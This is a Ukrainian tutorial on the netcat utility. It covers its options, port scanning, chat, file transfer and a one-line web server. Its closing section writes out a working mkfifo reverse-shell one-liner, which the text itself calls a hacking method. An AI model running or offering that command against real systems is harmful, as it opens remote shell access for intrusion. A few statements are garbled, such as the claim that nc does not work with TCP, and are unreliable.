Команда netcat
необхідна для передавання та отримання даних протоколами TCP і UDP. Вона не вирізняється великим набором функцій, але при цьому її достатньо для перевірки з'єднання і нескладного налагодження. Як спілкуватися за допомогою протоколу TCP? Цим питанням задаються багато користувачів. У цій статті відповімо на це питання, а також покажемо приклади реального застосування команди.
Команда netcat
(або nc
) - це потужний інструмент для роботи з мережевими з'єднаннями. Вона часто використовується системними адміністраторами та розробниками для різних завдань. Ось основні функції та можливості netcat
:
netcat
є універсальним інструментом, який може бути використаний у найрізноманітніших сценаріях, від простого обміну повідомленнями до складних мережевих операцій.
Для початку розглянемо синтаксис і найбільш затребувані:
-6
- використовувати протокол IPv6. За замовчуванням використовується параметр -4 і IPv4 відповідно;-h
- вивести довідку зі списком доступних параметрів;-i
- затримка - додати затримку між надсиланням рядків або скануванням портів. Задається в секундах;-l
- режим прослуховування. Використовується із зазначенням порту;-N
- закрити з'єднання при досягненні кінця файлу під час його надсилання;-n
- Працювати з IP-адресами безпосередньо, не задіюючи DNS, також відключити пошук портів;-P
- user_name - вказати ім'я користувача для підключення до проксі;-x
- address:port - вказати адресу і порт для підключення до проксі;-p
- port - вказати номер порту. У більшості випадків порт зчитується без зазначення параметра;-U
- використовувати сокет домену UNIX (для міжпроцесної взаємодії);-u
- використовувати протокол UDP, за замовчуванням використовується ТСР;-v
- детальний режим. Використовується під час сканування;-W
кількість_пакетів - закрити з'єднання після отримання певної кількості пакетів;-w
таймер - увімкнути таймер для обмеження часу з'єднання. Задається в секундах;-z
- вимкнути надсилання даних. Використовується під час сканування.Команда має такий вигляд (параметри адреса, порт):
$ nc
Далі розповімо про способи застосування команди.
Перевірка - головне застосування netcat
. Слід використовувати два параметри -vz
, вказати адресу і порт. Ви можете вказати діапазон адрес, але в цьому випадку краще відсіяти тільки відкриті порти за допомогою команди grep
. Перевіримо порти адреси локальної мережі:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Таким же способом проскануємо порти UDP, додавши параметр -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
При цьому потрібно знати головну відмінність TCP і UDP. Так в UDP порти завжди доступні.
Для прослуховування порту призначений параметр -l
. Його найчастіше достатньо, але можете ввімкнути детальний режим:
$ nc -nlv 8080
Пам'ятайте, що під час використання протоколу ТСР порт має бути вільний, інакше з'явиться помилка Already in use. При цьому не всі порти можуть використовувати звичайні користувачі, наприклад, 80 порт (HTTP), найімовірніше, він буде зайнятий іншим процесом, і до того ж вимагатиме прав суперкористувача.
Корисна здатність команди - обмін даними. Простий приклад - текстовий чат. Для того, щоб запустити чат на одному комп'ютері, запускаємо утиліту в режимі прослуховування порту:
$ nc -lp 8080
На іншому комп'ютері потрібно вказати адресу першого комп'ютера і той самий порт. Також не забудьте перевірити, що порт відкритий:
$ nc 0.0.0.0 8080
У такий спосіб вдасться відправляти й отримувати повідомлення. Тобто, команда призначена для обміну файлами. Принцип такий самий, за тим винятком, що необхідно переспрямувати виведення у файл, а саме в paste.txt
:
$ nc -l 8080 > paste.txt
На іншому ПК введенням слугуватиме файл copy.txt
. Не зайвим буде використовувати параметр -N
, щоб після передачі файлу закрити з'єднання:
$ nc -N 0.0.0.0 8080 < copy.txt
Для передачі файлів важливо дотримати послідовність, спочатку відкрити прослуховування і лише потім відправляти файл. Команда nc - робочий, але далеко не найкращий спосіб передачі файлів. Є для вирішення цього завдання більш ефективні та корисні інструменти.
Оскільки команда NC не функціонує з протоколом ТСР, вона дозволяє і відправляти, і отримувати запити HTTP. Отже, утиліта може стати найпростішим веб-сервером. Так, нічого хитрішого за сторінку-заглушку в такий спосіб не можна зробити, але операція практично не відніме часу, а ще плюс у тому, що не потрібно нічого додатково інсталювати.
На прикладі сформуємо відповідь HTTP з файлом index.html
. Якщо ж говорити про саму np, то не зайвим буде встановити таймер параметром -w 1
, щоб розірвати з'єднання, якщо цього не зробить браузер:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Щоб отримати дані з веб-сайту, ви можете сформувати запит і надіслати його на відповідну адресу і порт. Але такий спосіб досить складний, краще використовувати відповідну CURL команду.
Виходячи з розглянутих вище прикладів, не важко буде дійти висновку, що команда дозволяє організувати віддалений доступ до оболонки комп'ютера. Раніше утиліта NC мала кілька параметрів для відкриття доступу до терміналу. Параметр -e
вже давно прибрали з утиліти, тому простого доступу до терміналу вже не буде. Безпека самого додатка стала вищою, але він, як і раніше, може працювати у зв'язці з іншими.
Покажемо підключення за допомогою іменованого каналу mkfifo. Насамперед запустимо прослуховування порту на тому ПК, на якому будемо отримувати доступ:
$ nc -lvnp 8080
Перейдемо безпосередньо до команди для відкриття терміналу. Спочатку видалимо старий іменований канал(rm /tmp/f
), на його місці створимо новий(mkfifo /tmp/f
), прочитаємо його вміст(cat /tmp/f
), а на його виведення відправимо команду оболонки(sh -i 2>&1
). Після цього залишиться запустити nc із виведенням у наш іменований канал(nc 0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Слід враховувати, що це один зі способів злому, однак, він може бути корисним у разі появи проблем із ssh
. Для того, щоб запобігти атаці налаштовуйте політику безпеки та міжмережевий екран.